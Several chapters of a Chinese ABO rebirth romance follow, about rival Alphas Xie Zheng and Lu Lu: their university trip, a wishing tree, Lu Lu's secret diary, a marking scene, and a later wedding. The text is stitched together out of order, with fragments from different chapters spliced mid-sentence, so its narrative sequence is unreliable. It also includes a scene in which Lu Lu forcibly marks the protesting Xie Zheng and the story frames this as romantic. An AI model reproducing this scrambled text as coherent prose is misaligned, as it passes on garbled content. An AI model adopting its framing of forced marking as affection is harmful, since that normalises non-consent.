没想到那么快就可以去检查了,从预约到现在也没几天,让他总有一种要上战场的感觉。 谢铮揉了揉眉心,满脸都是疲惫。 在旁边的路鹿自然是注意到了他的状态,“怎么了?” 他摇了摇头,“我没事,你把车窗打开一点。” 车内温度低,虽然他这边开了一点点,但过一会应该就会很凉了,尤其是路鹿刚刚还出了汗,尽管是个Alpha身体没那么弱,但也有可能会感冒。 路鹿只以为他是想通风透气,便依言照做。 学校离家里其实也挺近的,坐车的话大概两个小时就能到了,一般情况下谢铮都会熬不住无聊就在车上睡觉。 现在也是一样,没多久他就犯困了,脑袋昏昏沉沉的,眼皮也非常重,索性他就找了一个舒适的位置靠着车门睡觉。 漫漫长路上,难免会有些坎坎坷坷,谢铮睡得并不安稳,尤其是他现在眉头紧皱,整个人都快缩在一起了,似是做了噩梦。 谢铮也确实是做了噩梦。 他仿佛又回到了自己死的那一天,整个人就像是被捞上岸的鱼,在空气里即将干枯而死,想挣扎却无可奈何。 因为的腺体的折磨他的身体也一日不如一日,完全没了年少时的意气风发。 他想过一了百了的,但是他的意志告诉自己,绝不能向病痛折腰,就算是死,他也得死光彩。 可是这次在他快死的时候没人来救他,他只能眼睁睁的看着自己的生命慢慢流逝,直至消失。 就在他快彻底陷入绝望的时候,一道声音突破混沌,让他的心颤了颤,仿佛一道光照进了心里。 “谢铮,你还好吗,我在这里呢别害怕。”温柔的声在他耳别响起,随之而来的是有人抚顺了他的眉心,尽可能的让他好受点。 意识渐渐回笼,谢铮睁开了朦胧的双眼,映入眼帘的是他的死对头那张着急又担心的脸,眼睛正紧紧的盯着自己,生怕自己出了什么意外。 “你好像做噩梦了,甚至还出了很多冷汗,是梦到了什么恐怖的事吗?” 梦到了自己即将要死也确实是一件恐怖的事。 但是庆幸有人把自己从黑暗中拉了回来。 “没什么,恐怖的事在你叫醒我的那一刻已经消失了,谢谢你。”谢铮难得来了句真心的的感谢。 感谢这个跟自己作对了半辈子的死对头- 路鹿微博 [发布于一个小时前] @Deer: 人类最初是拥有四个胳膊,四条腿和两张脸的生物 有一天人类惹怒了众神,于是宙斯就将他们劈成两半 从此每个人都缺失了自己的另一半。(注1) 而我,我在见到你的时候,就知道你是我的拼图了 第 63 章 第 63 章 第63章 路鹿很少见地没采用谢铮的提议,谢铮对此表示可以理解。 不过他自己也没想出来什么话,平时很会说话的一个人,轮到自己反而词穷了,最后就只是发了两张红彤彤的证件到朋友圈里,露出自己和谢铮的名字。 没过一会儿路鹿的手机也像是坏掉的按/摩/棒一样震动起来。 有一个人倒是没去问路鹿,直接来私聊的谢铮。 [可怜的阳痿A]:? [可怜的阳痿A]:你好,我能请问你一件事情吗? [谢]:你问。一岁一礼,一寸欢喜,愿谢铮一生健康顺遂,此生无忧。 没有嘲讽,没有诅咒,也没有说他坏话,一字一句全是祝福他的,他甚至都没有给自己许个愿,把愿望都给了他。 谢铮握着红绸,心里酸酸的。那是他过生日的时候跟路鹿的合照。 看着上面紧紧凑在一起的两个人,谢铮嘴角微抿,心中泛出了无比的酸涩。 哪怕是两个人吵吵闹闹,但最后都会莫名其妙的和好,很多时候都是路鹿在迁就着他,就跟个亲哥哥一样。 就当他正准备飘回到爸妈身边的时候,一只波斯猫从书架上一跃而下,连带着好几本书都哗啦啦的跌落了下来。 谢铮看着地上散乱的书本,微微皱起了眉头。 突然间,他好像看到了一个本子上出现了自己的名字,出于好奇心的勾引,他蹲在地上仔细的看了起来。 下一秒他整个人都愣住了,一瞬间屏住了呼吸,视线紧紧的盯着本子上的那页纸。 这本本子似乎是他的日记本,不过他并不经常写,所以上面的时间也是零零散散的,有时候隔了好几个月才写。 不知道是不是自己对他的滤镜太差了,他总是下意识的把路鹿往坏处想,把人家的好心给浪费了。 谢铮突然间觉得,自己得放下眼中的偏见了。 下午准备回去的时候,路鹿才姗姗来迟。他回来的晚,但好在早上的时候,他已经把所有东西都收拾好了,现在只要拿齐东西就可以离开。 怕他赶不上时间,他的东西还是谢铮帮忙拿下来的,见他回来的晚,谢铮不禁有些疑惑,“是不是你拿东西的时候遇上了点困难?” 对方只是摇了摇头,把一个东西塞进了他的手里。 谢铮定睛一看,是一个类似于护身符的东西,还是木质的,上面雕刻的花纹很单调,而且刀工也有些粗糙,但这也不影响它的价值。 他拿在手里掂量了一下,抬眼看他,“你刻的?” 路鹿此时淡淡的咳了一下,向他郑重的解释,“我取完东西的时候发现旁边有一家手工雕刻的店,出于好奇我就进去试试看了,没想到雕出个失败品,施舍给你了。” 死鸭子嘴硬。 谢铮知道路鹿这人其实跟他一样,在家都没干过什么重活的,脏活累活什么的都交给家里的保姆,都没自己动手的机会。 像这种精细的雕工,他能刻成这样已经是很不简单了,想让他搞得再漂亮一点,恐怕是有些强人所难。 谢铮弯了弯眉眼,心里暖暖的,将它好好的收进自己的口袋里,勾唇坏笑了下,“行,那我就收下了,毕竟着可是作为你雕刻失败的证据呢,我当然要好好留着来嘲笑你。” “走了,我们得回家了,别傻站在原地。”谢铮向他招了招手,先行走了一步。 在回程的火车上,谢铮摩挲着不平整的雕刻痕迹,他觉得,自己这趟旅行来的非常值。 他写了两条红绸,一条是给自己的,另一条是给路鹿的。 这家伙太傻了,也不知道给自己写一个,索性就只能由他来写。 [可怜的阳痿A]:你是否和我曾经的学生,路鹿,喜结良缘了呢? 他又回到了那棵铮愿树下。“我看你是不长记性啊,又来投入我的怀抱。”在稳稳的抱住这人之后,路鹿看着他泛红的耳朵轻笑了一下,凑过去他耳边轻语了一句。 此时此刻谢铮只想眼前一黑彻底昏死过去。 妈的,丢脸丢到家了。 偏偏还是在同一个人身上发生两次。 谢铮闭了闭眼,不想理他。 见他站稳了,路鹿收回手,伸手一抓捡起了地上的伞,若无其事道,“走吧,记得看路。” 谢铮冷着一张脸,慢慢的走在前头,一路上谁也没说话,路鹿也按照之前所说的,谢铮买的所有东西他来买单。 还自愿拎东西,妥妥的一个免费劳动力。 谢铮心里不禁感慨,要是这人鹿了对象,那他肯定是一个合格的男朋友,有颜有钱不说还贴心。 聚集的时候他看大家都买了很多小玩意儿,甚至女生还买了旗袍穿在身上,拿一根发簪把头发都挽起来,江南美人的韵味一瞬间就上来了。 李浩轩搓了搓手,“我看时间也不早了,接下来要去的地方就是我们今天的最后一站——铮愿树。” 谢铮的心动了动,逛了这么久,终于轮到他想去的地方了。 铮愿树坐落于古镇的最南端,那里地势最高,周围也成长了许多高大的树木,当然,这一切都没有那棵百年铮愿树高大。 一行人没花多长时间就到了那里。 有一个白发苍苍的老奶奶在铮愿树旁边的小屋卖红丝绸,旁边还有一个牌子:一条红绸十块钱。 见他们这群人慢慢等走进,老奶奶拄起拐杖,颤颤巍巍的站起来,慈祥的看着他们,“孩子们是来买丝绸的吗,我这里有笔,可以给你们写在上面。” “奶奶,给我来一条。”谢铮从兜里掏出一张崭新的十块钱递了过去。 “把心愿写在上面,相信它迟早有一日会实现的。” 早日实现? 谢铮看着手里的东西,没有说话。 如果真的能实现他的愿望的话,那他一定每年都会来到这里还愿,还可以为它搭建一个祠堂供奉着。 思索了许久,他最终还是提笔落下了自己一直以来想要的。 那个老奶奶依旧还是在小屋里,她正在一条一条的铺平红绸,见到他,还拄着拐杖出来跟他打招呼。 这会也没什么人来,他便跟老奶奶闲聊了起来。 谢铮看着眼前这棵繁华的树,好奇的问她,“您在这里住了多长时间呀?” 许是年纪大了,记性有点不太好,她认真回忆了好一会儿才回答他,“好长时间了,大概有五十多年。” 谢铮愣愣的看着她。 “我跟我老伴就是在这个树下认识的。 回想起他的老伴,老奶奶满眼都是温柔,连嘴角都浮现出笑意,“我们那个年代可不像现在这样举行婚礼要什么繁华的仪式,咱们穷,他当时就拿着一块红布写上我俩的名字,系在树上就当是建立起了某种证明似的。” “简单的在树下拜个头,我们就成夫妻俩了。” 老奶奶的眼角渐渐泛出了泪花,语气也渐渐的哽咽了起来,“他操劳了一辈子,最终还是比我先走了一步。” 谢铮有些慌乱,但又不知道该安慰什么,只能不停的给老奶奶轻拍后背。 “我现在全靠回忆守在这个树下,见证着一对又一对的有情人,此时也算是圆满了。” 聊了这么多,她也不想再聊下去了,拄着拐杖回到自己小屋里。 看着她寂寥的身影,谢铮心里很不是滋味,天人两隔,还活着的是最痛苦的,或许对她而言,这棵树就是她最后的羁绊。 坐在椅子上发了好一会儿呆,他终于想起了他来这里的目的,谢铮望着树上的好几段红绸,眼眸微眯。 循着记忆,他来到了上次路鹿系红绸的地方,在千枝万谢中找到了熟悉的字。 妈的,他觉得现在的自己就跟个偷窥狂一样。$ 就为了想知道对方在红绸上写了什么,他就特地跑回来这里看。 他藏的还挺隐蔽的,如果不是谢铮眼尖,发现了隐藏在枝头之后的那条红绸,他估计又得找上好久。 小心翼翼的将它取下来,他正想看看路鹿在上面写了什么诅咒他的话时,捻住红绸的指尖却顿住了。 这算什么?潘多拉的魔盒? 他曾经无比好奇谢铮的过往,缠着谢铮问他,但谢铮懒得说。 现在谢铮的过往就在他面前的纸箱里,不过这些纸箱怎么这么少呀?一二三——才六个箱子,他最喜欢的人,那么耀眼夺目,那么风光,他从家里搬出来之前留下的东西,竟然就只有这六个箱子吗? 路鹿几乎快按捺不住的自己的好奇心,想立刻打开箱子一探究竟。 但抿了抿唇,路鹿最后还是忍住了。他很满足地翘着眼角又欣赏了一下这张偷溜出来的老照片,重新顺着缝隙塞回到了箱子里,又返回到卧室。 “谢叔叔,那些箱子是孙姐寄过来的,你在宸安的东西。明天我们一起收拾你的东西好不好?”正巧谢铮醒了在喝水,路鹿就弯下腰,凑在谢铮耳边问他。 谢铮没说行也没说不行,又或者没听到他说了什么,就只是抬起手,按着路鹿的后脑勺亲了他一口。 第 64 章 第 64 章 第64章 谢铮最近这段时间的作息还算规律,睡得早起得早,不像早几年经常会熬到天亮。 谢迹的作息就有点恐怖了,天亮就醒,现在正坐在他和路鹿中间,捧着谢里送过来的历年真题看,谢铮一睁眼看到高数题,差点眼睛一闭又昏睡过去。 看谢迹无比认真的表情,谢铮几乎怀疑自己这小不点要给自己上演一部“天才小子三岁半”的剧本,不过几秒钟后谢铮就释怀了,因为他发现谢迹把书拿反了。 谢铮:“。”谢铮无所谓,反正他手机里还留着这张照片,“那你留着。” 在他快要吃完的时候,放在口袋里的手机震动了下,他一开始还以为是那些没用的垃圾短信,就没理。 没想到它又连续震动了好几次,仿佛不回信息就有一种死不罢休的气势。 等他受不了拿出手机一看,是李浩轩。 【兄弟,打游戏吗,来timi一把。】那是他昨晚咬的,里面还带有他信息素的腺体。 他凑了过去,甚至还能清晰闻到他的信息素还有蔷薇花诱人的芬芳。 蔷薇花的信息素蔓延开来,路鹿下意识的就想掀了他。 清楚的知道对方处于易感期状态,谢铮没敢再掉以轻心,时时刻刻注意身后的状态。 鼻尖凑近腺体的时候,路鹿嘴角上扬,心里起了点坏心思,“小谢子,你的信息素可真好闻。” 这话要是放在Omgea身上,那他绝对是赤裸裸的调戏,这人果然是连心切开来都是黑的。 谢铮咬牙切齿道,“你最好给我闭嘴。” 路鹿笑了,“那可不行,我要是闭嘴了可怎么标记你。” 深吸了一口气,谢铮刚想转过头好好的骂一顿这个人,下一秒他就被人摁住了身子,随即后颈传来一阵刺痛。 他能够感受到大量的信息素正在缓缓的注入他的腺体里面,仿佛正在蔓延到全身,引起一阵阵的颤抖。 那种疼痛感又上来了,谢铮咬紧牙关,整张脸都皱在一起,正努力的承受着那种刺痛。 “唔……”$ 随着标记的结束,他整个身子都软了下去,提不起半点力气,意识也渐渐模糊,在天旋地转中,他昏了过去。 就在他整个人快倒下去的时候,路鹿眼疾手快一把搂住了他,将他带进自己怀里。 路鹿已经将大量的信息素发泄进了他的身体里,此时此刻他是前所未有的轻松,连眼神里都带着享受完之后的餍足。 俯身舔了舔腺体上残留着的几滴血珠,看着上面一枚新鲜的标记,他心满意足的将他抱到自己身边一同入睡。 承受标记让谢铮消耗了大量的精神力,而他自己的易感期在刚刚也得到了发泄,两个人都需要好好休息一下。 路家父母赶到的时候,就看见他俩相拥在一起,挤在一张小小的病床上睡觉。凑近一看,赫然发现谢铮的脖子上还有一道明晃晃的牙印。 看着身上沾满龙舌兰信息素的谢铮,他们不用想也知道是谁咬的。 夫妻俩对视一眼,都从对方眼里看到了惊讶与了然。 这小子终于不做人了! 最终还是对谢铮下手了!! 有谁比他们更清楚自己的儿子了,他那点小心思从小就瞒不住,经常黏着谢铮就算了,还天天去挑逗人家。 他们本以为两个人都分化成Alpha后,路鹿就会歇了这个心思,没想到他还是选择做个禽兽,把人家给标记了。 看着谢铮湿漉漉的眼睫以及泛红的脖子,夫妻俩都脑补出了一系列强制爱的戏码,搓搓手正准备等路鹿醒了之后就狠狠揍他一顿。 这个小畜生,这么多年没打过了,也是时候给他上一顿爱的教育。 熟睡中的路鹿还并不知道危险即将来临,他紧紧的搂住怀里的小蔷薇,闻着清新的信息素一点点的沉浸在自己的梦乡。 他嘴角勾出一个淡淡的弧度,把自己的脸往谢铮柔软的发丝里蹭了蹭。 他肖想了这么久的人,终于能够在清醒的状态下将他标记占有,让他的腺体里充满自己的信息素,向众人宣示主权。 更要他的命的是,傻乎乎的谢铮亲自把自己送上门,亮出脖子送到他嘴边,让他咬下去。 路鹿想,栽就栽吧,他愿意吊死在这棵树上。 【我刚刚打排位的时候被对面给虐了QAQ 】 【谢神,救救小的,我已经连跪好几把了,我已经快掉下星耀了,快要跟小钻石们一起混了。】 【look at me!!】 每次一看到李浩轩的游戏邀请谢铮就两眼一黑,恨不得立马删好友假装不认识,归根结底就一个字:坑。 虽然说他自己玩王者很厉害,但说到底也扛不住队友的坑,每次大逆风都是他在力挽狂澜,他都不知道自己拿多少把水晶战神,跟个高地保安似的。 最终还是拗不过他的请求,他还是同意的,反正他现在在路鹿家里也是没事干,开一把游戏也无所谓。 出于好心,他戳一戳旁边的路鹿,把聊天记录给他看,“来不来打王者,咱们三排应该会好打一点。” 他记得路鹿也打王者的,好像段位还跟他差不多,应该能带飞李浩轩这个小菜菜。 “可以,我现在就登录一下我的账号。”他其实有一段时间没有玩了,段位应该也掉下去星耀了,不过这并不影响他们组队。 他刚上号,李浩轩那边就迫不及待的发来组队邀请,似乎是怕他没看到,又一连发了好几次。 谢铮才刚进房间里,他就立马就要开了,还好他眼疾手快取消了准备,正准备把路鹿拉进来。 吃李子酱:【?】带着怨气走出了医院,谢铮觉得自己总得找点事做。 脖子上的伤口还隐隐作痛,尽管医生已经给他上了药,但不适感依旧存在。 谢铮面无表情的把医药费账单揉成一团扔进垃圾桶,拿出手机就跟辅导员请假了。 反正他有上一世的记忆,课本上的知识他都是学过的,遇到考试他根本就不用慌,所以这个假他请的心安理得。 他这边有医生开的病历单,直接拍照发给辅导员,像这种病症辅导员那边很快就同意了,火速给他批了一周的假期。 同时,他也订好了回家的车票,现在直接回宿舍收拾东西就可以回去了。 铮:【我拉个人,好上分。】 铮:【是熟人,你放心躺赢就行了。】 吃李子酱:【是哪位大神?我已经准备好床躺了。】 发现谢铮醒了,谢迹立刻依偎过来,啵啵啵地在他脸上亲三下:“爸爸,你早上好。” 谢铮在他头顶 兄弟,你好香。 他当时整个人都愣住了,一时间被他给整无语了,屏幕里的游戏人物也跟着一动不动,仿佛有那么一瞬间时间停止了。 还是李浩轩率先打破沉默,不停的在组队的麦里笑,“笑死我了,我之前觉得这个语音没什么用,现在看来真的非常适合整蛊队友。” 谢铮一顿无语,但凡这个瑶是个妹子,发这个语音他倒是觉得没什么,偏偏是路鹿发出来的,说不出感觉,但他听着怪怪的。 “在打游戏之前,你不是说你很久没玩了吗,这个语音播报你怎么来的?” 他明明记得这个是需要打五把阿古朵才能领取的。 路鹿刚刚替鲁班扛了点伤,现在已经是残血了,正准备回城补点状态,闻言淡淡道,“只是我不玩而已,并不代表别人不玩,我有时候会把这个号借给别人,让别人帮我打一打。” 难怪他之前有一次邀请他一起玩的时候,他不仅仅没同意,还拒绝了,转头就一个人单排打排位。 他当时还以为路鹿看不上他,不屑跟他一起打排位,一气之下就把他的游戏好友给删了。 要不是刚刚要组队打排位,路鹿估计还不知道自己被删了。 谢铮在龙坑那边点了个信号,“好吧,那我们去开龙直接一波了,趁他们现在都还没复活。” 有射手在,打龙的速度非常快,后面等小龙上来的时候众人直接压中,快刀斩乱麻直接拿下对面水晶。 看着屏幕上弹出来的胜利,谢铮整个人紧绷的精神终于能松了下来。 真的是每次跟李浩轩打游戏,都让他有一种松弛又刺激的紧张感,生怕他自己死了之后,对面直接一波,看着那个失败的字样他能整个人被气饱。 真的不能再玩了,一把下来真的不是一般的累。 对方还想趁热打铁再开一把,路鹿直接点了取消准备。 李浩轩缓缓打了个问号。 【鹿哥不玩了吗?】 【是因为刚刚补位的事吗,我可以把我的射手位让给你的,我全能补位!】 看到这谢铮自己就先忍不住笑了。 抛开战绩不鹿,他确实是全能补位。 【时间不早了,我们先睡了。】这句话发出去的同时,他也退出了房间,并且可以看到他的状态变成了离线。 谢铮多少也有点困了,说了句再见也跟着了,生怕他拉着自己再玩一把。 李浩轩一开始还觉得没什么,直到他进入选英雄界面才反应过来。 “我们先睡了”“我们”,所以他们两个人现在是在一起住?? 他之前看到校园墙关于他俩的cp帖子时还不以为意,但现在……他莫名觉得他俩有一腿- 谢铮日记 [一天前] 遇到一头脸很对胃口的蠢鹿 啧 第 65 章 第 65 章 第65章 夏末,谢铮要出差一趟,刚好错过谢进德的忌日。 他提前去了一趟墓园,拖家带口的。 谢进德的遗照都很冷硬,面无表情的,谢铮在他墓碑前站了一会儿,看到他的墓碑很干净,前面一根杂草都没有,不知道是他交的天价管理费在起效,还是孟女士和谢里偶尔会来看望。 谢迹还记得谢进德,伸手摸一摸谢进德的照片,又把头埋在谢铮颈窝里:“爸爸,我想爷爷了。” 谢铮弯起食指擦擦谢迹湿漉漉的眼睛。 谢进德和谢铮的沟通从来都不多,很多话都是让孟海瑛在中间传话,谢铮这会儿站在他的墓碑前,还是不知道该说什么。 路鹿倒是话不少,笑吟吟地做了个自我介绍,很详细,差点儿连自己喜欢什么颜色都说了,谢铮溜达到旁边抽了根烟,回来的时候路鹿的话甚至还没说完。 谢铮:“……”谢铮撇过头去,别扭的说道,“礼尚往来罢了。” 还真是一只傲娇的小狐狸。 他十分宝贝的把那小盒子放在自己兜里,难得特别开心了一回,薄唇轻启,“礼轻情意重。” 傲娇的小狐狸轻轻哼了一声,理了理被风吹乱的衣角,“别忘了两天后要去江南旅游的事,我可不想到时候在楼下等着你。” 少年慵懒的靠在门边,许是面对太阳的原因让他眯了眯眼,“放心,不会的。” 之前在大家决定了旅行目的地后,班长就拉了一个群,把那些想去旅游的都拉进去,并且在里面讨论分工合作。 不少人纷纷举手提建议,有人负责查找交通路线,有人负责预订旅馆,还有人负责规划行程。 谢铮看了看群里的聊天记录,自己一个毫无经验的人也插不上什么话,索性便安安静静的看着他们聊。 看着他们补充要带的东西,他也跟着往自己的行李箱里塞。 浩浩不说话:【我插个话,大家想不想去一下当地的特色景点?】 谢铮看了看这个人熟悉的头像,认出了他是李浩轩。 底下有不少人被他勾起了好奇心,纷纷戳一戳他。 猫猫:【什么的特色景点?本宫再决定去不去。】 【好奇.jpg】【猫猫探头jpg】 班长:【来来来,说出来让我加进旅途计划里。】 谢铮也跟着发了个好奇的表情包。 浩浩不说话:【就是在意溪镇那里的小山,有一棵活了上百年的铮愿树,当地有不少人向这棵树求姻缘,求子求平安啥的。】 浩浩不说话:【当然,求的最多的是姻缘,那个树上已经被挂了好多姻缘牌跟姻缘绳,据当地人说,可是非常准的哦】 求平安? 看到这几个字眼谢铮立马就来了兴趣,他想去那棵铮愿树上给自己求个平安,早日摆脱病痛的折磨。 若是放在以前,他都不屑于去相信这些神鬼信仰啥的,因为这一切听起来太天方夜谭了,很难使人信服。 但是自从他重生的事发生之后,将一切不可能都变成了有可能,因此,他想去参与一下。 他当时立马打字,【听你这么说,我也想去,算我一个。】 让他没想到的是,他发出信息的下一刻路鹿也出声了。 ST:【+1,我也去。】 他看了这个信息许久,最终还是打开了聊天框向他投出了自己的疑惑,他手底下打字飞快: 【你不是向来很讨厌这些东西的吗?之前叔叔阿姨想带你去寺庙铮福的时候你都不愿意去。】 【怎么,现在想开了?】 字如其人,字里行间都带着一股挑衅的意味。 对面没有立即回复他,久到他准备上床打游戏的时候对面才慢悠悠的回复。 【我闲,我乐意。】目送教官离开的这天,不少女生都眼眶湿润的,之前还跟教官勾肩搭背的男生们更是一口一个杨哥别离开我们。 这可把杨哥给整笑了,“我又不是死了,而且,我下一年还会来教你们的学弟学妹,后会有期。” 军训结束之后就是长达四天的假期。 谢铮没什么东西要收拾的,毕竟家里什么都有,他也只是带了几本书回去看一下。 校门口聚集了很多准备回家的人,所以现场比较挤。 他没有等太长时间,往前走几步就看到司机了。 谢铮坐在靠窗的位置上,车子没有动,透过没有完全关上的车窗,可以看到不远处路鹿正在拉着行李箱快速走来。 他刚刚被辅导员说有事叫走了,所以耽搁了好一会儿才来。 他已经把车牌号发给他了,不过好像没必要,他应该也记得谢家司机常开的车是什么样的。 他把自己这边的窗户开大了一点,露出整张脸。 让司机把行李箱放在车尾箱,路鹿也上车了。 夹杂着一股热浪带入了车里,路鹿为了不想让这人等久了,走得很急,现在身上难免出了一层薄薄的汗。 怕他嫌弃自己身上的味道,路鹿往车窗那边挪了挪,让两人隔了一点距离。 谢铮有些看不下去了,从口袋里拿出一包湿纸巾递了过去,“我不是什么细菌病毒,不用离我这么远。” 手心的湿纸巾凉凉的,还带着淡淡的薄荷味。 夏天的时候谢铮最讨厌出汗了,浑身黏黏的很难受,但是又无可避免,索性就带着湿纸巾擦拭,用薄荷味的来让自己保存清爽。 车子缓缓启动的时候,谢铮的手机伴随着引擎的鸣声震动了两下。 钟医生:【您的身体检查已经您安排好了,明天或后天有时间就可以过来我这检查。】 钟医生:【对了,在检查开始的六个小时之前您不要吃任何东西,不然会影响最终的数据。】 【反正两天的时间够我们走遍整个江南了,去一下也无妨。】 【我分化了,是一个Alpha,我无比满意这个结果,当我真想去找谢铮分享的时候,他也同样分化成Alpha的结果,不知道为何,我心里竟然萌生出了一种想让他分化成omgea的想法,我真是疯了。】 【今天看到他跟一个男生走的好近,身上竟然沾上了他的信息素,让我心里莫名的恼火,真想让他浑身上下都沾满我的信息素,只属于我一个人。】 【完了,我好像彻底喜欢上谢铮了。】【听说这届大一新生出了两个顶级Alpha,大家对此怎么看?_(:з」∠)_狗狗祟祟】 1楼:一山不能容二虎,更何况我听小道消息说这两人带了点仇。悄悄探头.jpg 2楼:他俩还是同一个宿舍呢,刚刚还打起架来了,那信息素贼恐怖QAQ。 3楼:+1,我当时在宿舍实在受不了了,只穿着花裤衩就跑出来外面疯狂呼吸新鲜空气。捂脸.jpg 4楼:哈哈哈哈!!原来那个光着膀子只穿一条裤衩就出来的人是你啊! 5楼:当时教导主任在楼下训人呢,那声音我在3楼都能听得清哈哈哈! 6楼:我还听到了他们开学典礼要上台念检讨呢,而且他们那副皮囊长得贼好看。疯狂暗示.jpg 7楼:听到没有,小o们支楞起来!到时候咱们开学典礼站前排,舔一舔男神们的芳容!! 【为什么他会越来越讨厌我,我感觉我们两个人之间的距离越来越远了,该怎么办啊?】 房间的窗户没关,一阵风吹过,将日记本吹到最后一页,上面有清晰的写着: 【他永远也不会喜欢我……】 看到这里,谢铮整个人都愣住了,视线死死的盯着眼前的日记本久久不能回神。 他实在是搞不懂,明明两个人斗了大半辈子,不应该是老死不相往来吗,为什么却是路鹿一个人的暗恋独角戏? 不知道是不是他藏的太好,谢铮到死都没有察觉到他身上那种隐忍的爱意。 说实话,就算是他察觉到了,他也不知道该如何去回应这份感情,他单身了那么多年,就没对别人喜欢过,花费过任何一丝真心。 他只知道随心所欲,让自己开心就好,在自己人生中最后的时间里过得美满。 脑袋一时天旋地转,他的灵魂开始慢慢消散,同时现实中的他的也睁开双眼醒了过来。 旁边的夜光灯还在散发着暖黄的微光,微微照亮了周围的环境,身边还传来淡淡的呼吸声。 谢铮看了他许久,只觉得刚刚的那个梦有点荒谬,他一定是被这个人给气多了,连精神都出现恍惚。 这人连做梦都要打扰他,还真不愧是他的头号死对头。 后面再入睡的时候他也梦到后来发生的事情,但是那些梦转瞬即逝,又好像是一些无关紧要的事,导致他现在根本就记不清了。 盯着镜子看了许久,谢铮胡乱的抹了把脸,走出了卫生间。 妈的,他一定是被魔怔了。兔子:【兄弟姐妹们,你们看看我遇到了什么】 兔子:【两个大帅哥,还是优质Alpha!!】 【照片】 照片刚发出去,原本静如死水的群里立马炸开了锅,一群好色的Omega大军闻着味儿就来了。 翻身做A:【救命,光是看着照片里的背影,我感觉我的发清期要提前到来了。】 小柠檬:【嘶,看着他俩那熟悉的样子,总感觉有点私情。】 小柠檬:【好色jpg】 兔子回复小柠檬:【你还别说,我也觉得,双A真的很带感!!】 在大家的你一言我一句中,一栋磕cp的大楼火速盖起,渐渐在学校论坛里冒出头。 感觉不错” 写完后谢铮随手把本子往前翻了翻。 上次记载还是谢进德死的时候,只记了个日期,写了谢进德的名字。 再上次就久了,是他第一次见到路鹿的时候记的。 谢铮看到自己那行日记,突然陷入沉思。 这算不算他对路鹿的一见钟情? 他拧着眉想了半天,也没思考出来到底算不算,心里倒是浮现出了几个大字:管它是不是呢。【你现在阅读的是 】 正文完 第 66 章 第 66 章 第66章 婚假第二天,谢铮一起床,看到路鹿捧着电脑忙活着。 谢铮走到他背后一看,发现是摄像把婚礼的照片和视频都发了过来。 路鹿点开一张照片,给谢铮看:“谢叔叔,这张拍得好好。” 谢铮撑着路鹿的椅背,弯腰仔细看了一下。 婚礼就在前天举行的,那天人虽然来得不多,但每个都要招待照顾,一整天下来早起晚睡,别说吃饭了,连水都没喝两口,谢铮回想起来自己的婚礼,就记得谢迹摇摇晃晃捧花的样子了。 看到照片的这一瞬间,记忆才突然变得鲜艳起来。 漂亮的婚礼,司仪的台词是路鹿一点点和他磨的,当天谢铮和路鹿一共换了四套衣服,都是高定,胸口的花倒是一直都是红玫瑰,代表着矢志不渝的爱情。 谢铮都有点认不住来这张照片上的自己和路鹿了,是摄影师后期修图了,还是他真的就做了个这么温和的表情? 照片里还有谢迹,糯米团子蹲在照片的角落里,双手撑腮地看着两个爸爸,眼睛笑成月牙。 路鹿拉着谢铮的手腕,让他坐在椅子上,自己则站起来,又给谢铮看其他的照片和视频。谢铮翘着二郎腿看着,婚礼的细节终于开始一点点清晰地浮现在他脑海里。 谢铮抓起路鹿搭在椅背上的手,在年轻alpha手背上留下了一个不轻不重的牙印。 十年前的谢铮绝对想不到自己会结婚,可当他清晰地认识到自己和路鹿走完了所有所有步入婚姻的流程后,他整个人从内到外都感受到很鲜明的愉悦- 蝉声漫天的路夏在大一开学中迎来了,谢铮一手拉着行李箱,站在校门口思考人生。 他不是已经死了吗?死在了死对头抱着他赶去医院的路上,可他为什么出现在这里? 望了周围一眼,少年俊美的脸上浮现出少许的茫然,微微上挑的凤眼中夹杂着片刻迟疑。 一觉醒来就在自家车上,陈叔嘴里还念念有词:“少爷今天可是开学第一天,您可别再睡了,在大学里一定要跟同学们友好相处……” 他看着陈叔脸上不复存在的皱纹,再看了看自己旁边的行李箱,随后他狠狠掐了自己的大腿一把,腿上传来的痛觉让他认清了一个现实——他重生了!还是重生到大一开学的这天! 身处校门口的他不顾周围的人海,就这么站在原地脑海飞速翻涌着。 这个时候的他身上还没显现出信息素紊乱的症状,一切都来得及,只要及时去医院检查治疗,说不定就可以改变他多年以后被病痛折磨的命运! 想到这,谢铮紧紧抿着唇,握紧了手中的行李箱拉杆,将所有心思在心底里沉了沉,进了校门。 重活一世,他根本不需要学长学姐带路,手轻熟路的来到自己之前住过的宿舍楼前,一边感慨一边拉着箱子进去了。 九月份,还是一天中最热的时间段,他拉着箱子刚打开宿舍门就措不及防跟正准备出门男生打了个照面。 谢铮身形猛的一愣,目光紧紧的盯着面前的人。一觉醒来,谢铮只觉得自己整个脑袋昏昏胀胀的,他睁开双眼,却发现自己躺在路鹿的床上。 可能是易感期的路鹿在上面睡了一整天的原因,上面沾满了他的信息素,让谢铮以为自己整个人泡在了酒里。 不知道是不是长时间处在他信息素的包围里,他已经慢慢适应了这个味道,并没有出现排斥的现象。 他动了动脖子,想扭头看一下时间,却带期了脖子上一阵酸痛。 他愣了几秒,回想起昨晚发生的事,整个大脑死机了。 反应过来后他伸手摸了自己的后颈,果不其然摸到了一排排的牙印,在指腹触碰到的时候还带起了一丝刺痛,让他下意识的皱起了整张脸。 路鹿这人是属狗的吗,见人就咬,牙口还这么锋利。 他现在轻轻的动一下都能感受到后脖子的异样。 想到自己昨晚那幅憋屈的模样,他心里就不停的在冒火。 路鹿,你完了。 同为Alpha,他也知道易感期有多难受,但他没想到路鹿除了咬了他一口以外还动手动脚的。 他死都没想到这玩意竟然还想上他! 偏偏他还是下面那个!! 谢铮觉得路鹿是完全冒犯到了自己的身为Alpha的尊严,士可杀不可辱,他一定要找他算账。 看着窗外的太阳升得老高,他突然想起自己今天早上有课,这个点肯定是旷课了,他连忙颤颤巍巍的从床上爬起来去找手机请假。 从地下找到了自己的手机,发现屏幕上多了几条裂缝,是他昨晚挣扎的时候不小心把手机掉到地上摔出来的。 努力压了压心中的怒气,他打开了自己的手机。 还没有找到辅导员的微信呢,他就率先收到了路鹿发的信息。 【我给你点了外卖,大概在9:30的时候送过来。】 【已经帮你请假了,你可以安心的在宿舍休息。】 【昨晚的事,抱歉……】 闯完祸就跑,跟某种一。夜。情戏码似的。 看到这几条信息,他的火气更大了,手底下打字飞快: 【你疯狗啊,怎么不把我往死里咬,我看你是皮痒了,想找打是吧。】 【你都这副样子了,还敢留在宿舍祸害我。】 【我看你是三天不打上房揭瓦,活腻了你。】 路鹿看着一条接着一条的信息,隔着屏幕都能感受到他滔天的怒火,心底又凉了几分。 